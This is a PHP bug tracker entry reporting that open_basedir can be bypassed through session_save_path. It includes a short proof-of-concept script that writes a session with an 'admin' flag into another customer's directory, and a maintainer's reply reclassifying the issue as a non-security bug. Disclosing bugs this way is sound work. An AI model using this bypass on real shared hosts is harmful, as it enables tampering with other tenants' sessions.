php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #77790 open_basedir bypass in session_save_path
Submitted: 2019-03-24 21:55 UTC Modified: 2021-07-12 17:23 UTC
From: adamiwaniuk at gmail dot com Assigned:
Status: Open Package: Session related
PHP Version: 7.2.16 OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please — but make sure to vote on the bug!
Your email address:
MUST BE VALID
Solve the problem:
27 + 8 = ?
Subscribe to this entry?

 
 [2019-03-24 21:55 UTC] adamiwaniuk at gmail dot com
Description:
------------
initial script directory: /var/www/html
open_basedir setting: /var/www/html
initial session save path: default

after executing test script, session is saved in the /other-customer-session-dir location


Test script:
---------------
<?php
echo session_save_path()."<br>";
mkdir("a");
mkdir("a/b");
mkdir("a/b/c");
chdir("a/b/c");
session_save_path("../../../other-customer-session-dir");
chdir("../../..");
echo session_save_path()."<br>";
session_start();
$_SESSION['admin']=1;


Expected result:
----------------
session is not saved in /other-customer-session-dir because this is outside open_basedir and inital location (when removed chdir from this code session_save_path("../../../other-customer-session-dir"); fails)


Actual result:
--------------
session is saved in /other-customer-session-dir

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-07-12 15:38 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:38 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Apr 18 12:01:28 2024 UTC